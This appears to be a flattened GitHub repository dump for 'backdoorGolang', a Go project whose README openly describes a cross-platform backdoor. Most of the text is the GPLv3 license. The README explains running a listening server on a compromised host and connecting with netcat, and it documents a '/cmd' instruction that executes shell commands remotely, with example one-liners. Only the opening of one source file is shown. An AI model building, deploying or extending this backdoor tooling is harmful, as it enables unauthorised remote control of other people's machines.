├── .gitignore ├── LICENSE ├── README.md ├── backdoorGolang.iml ├── core ├── cli │ ├── cli.go │ ├── context.go │ └── exec.go ├── common │ └── common.go └── socket │ ├── client │ └── client.go │ ├── server │ ├── client.go │ └── server.go │ └── socket.go ├── main.go └── tests └── server.sh /.gitignore: -------------------------------------------------------------------------------- 1 | # Compiled Object files, Static and Dynamic libs (Shared Objects) 2 | *.o 3 | *.a 4 | *.so 5 | 6 | # Folders 7 | _obj 8 | _test 9 | 10 | # Architecture specific extensions/prefixes 11 | *.[568vq] 12 | [568vq].out 13 | 14 | *.cgo1.go 15 | *.cgo2.c 16 | _cgo_defun.c 17 | _cgo_gotypes.go 18 | _cgo_export.* 19 | 20 | _testmain.go 21 | 22 | *.exe 23 | *.test 24 | *.prof 25 | 26 | .idea 27 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | {one line to give the program's name and a brief idea of what it does.} 635 | Copyright (C) {year} {name of author} 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | {project} Copyright (C) {year} {fullname} 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # backdoorGolang 2 | 3 | [![Windows Build Status](https://ci.appveyor.com/api/projects/status/github/pilebones/backdoorGolang?svg=true&branch=master&passingText=Windows%20-%20OK&failingText=Windows%20-%20failed&pendingText=Windows%20-%20pending)](https://ci.appveyor.com/project/pilebones/backdoorGolang) 4 | 5 | Backdoor with Golang (Cross-Plateform) 6 | 7 | _/!\ Work in progress, not a stable release /!\_ 8 | 9 | ##Main goal 10 | 11 | A fork of my own project named : "pilebones/backdoorBash" (see: https://github.com/pilebones/backdoorBash) but instead of using Bash as programming language (Unix-like only) this new one will work on Windows too by using a Golang API (cross-plateform) developed from scratch (as much as possible). 12 | 13 | ## Requirements 14 | 15 | - Golang SDK : Compiler and tools for the Go programming language from Google (see: https://golang.org/doc/install) 16 | 17 | From Arch Linux : 18 | ```bash 19 | (sudo) pacman -S community/go 20 | ``` 21 | 22 | From Debian : 23 | ```bash 24 | (sudo) apt-get install golang-go 25 | ``` 26 | 27 | ## Installation 28 | 29 | ```bash 30 | cd $GOPATH 31 | go get github.com/pilebones/backdoorGolang 32 | ./bin/backdoorGolang --help 33 | 34 | ``` 35 | 36 | ## Usage 37 | 38 | ```bash 39 | ./bin/backdoorGolang --help 40 | Usage of ./bin/backdoorGolang: 41 | -d, --debug Enable mode debug 42 | -h, --host string Set hostname to use (default "localhost") 43 | -l, --listen Enable listen mode (server socket mode) 44 | -p, --port int Set port number to use (default 9876) 45 | -v, --verbose Enable mode verbose 46 | -V, --version Display version number 47 | ``` 48 | 49 | ## Server-mode 50 | 51 | ```bash 52 | ./bin/backdoorGolang -h localhost -p 1234 -l 53 | ``` 54 | 55 | Notice : Server is multi-user capable (one server for X client) 56 | 57 | ## Client-mode 58 | 59 | /!\ Not implemented yet, use netcat meanwhile ! 60 | 61 | ```bash 62 | netcat localhost 1234 63 | ``` 64 | 65 | ### Instructions 66 | 67 | Each message submit by client is sent to all backdoor's clients like a chat. 68 | However, an alone chat's feature is useless, there are a set of instructions allowed by all clients which have different behavior for taking advantage of the compromised server. 69 | 70 | #### Quit Instruction 71 | 72 | This instruction permit to logout the current user 73 | 74 | ```bash 75 | /quit 76 | /exit 77 | ``` 78 | Example : 79 | ```bash 80 | echo "/quit"|netcat localhost 1234 81 | ``` 82 | 83 | #### Command Instruction 84 | 85 | This instruction permit to execute shell command from server. (OS supported : Linux, Windows) 86 | 87 | ```bash 88 | /cmd 89 | ``` 90 | Example : 91 | ```bash 92 | echo "/cmd ls -l"|netcat localhost 1234 93 | ``` 94 | -------------------------------------------------------------------------------- /backdoorGolang.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | -------------------------------------------------------------------------------- /core/cli/cli.go: -------------------------------------------------------------------------------- 1 | package cli 2 | 3 | import ( 4 | "fmt" 5 | "os" 6 | 7 | "github.com/pilebones/backdoorGolang/core/common" 8 | "github.com/pilebones/backdoorGolang/core/socket" 9 | "github.com/spf13/pflag" 10 | ) 11 | 12 | var ( 13 | host = pflag.StringP("host", "h", "localhost", "Set hostname to use") 14 | port = pflag.IntP("port", "p", 9876, "Set port number to use") 15 | isListenMode = pflag.BoolP("listen", "l", false, "Enable listen mode (server socket mode)") 16 | isVerboseMode = pflag.BoolP("verbose", "v", false, "Enable mode verbose") 17 | isDebugMode = pflag.BoolP("debug", "d", false, "Enable mode debug") 18 | isVersionMode = pflag.BoolP("version", "V", false, "Display version number") 19 | ) 20 | 21 | /** Print data when debug mode is enabled */ 22 | func DisplayAsDebug(message string) { 23 | if UseDebugMode() { 24 | fmt.Println(message) 25 | } 26 | } 27 | 28 | 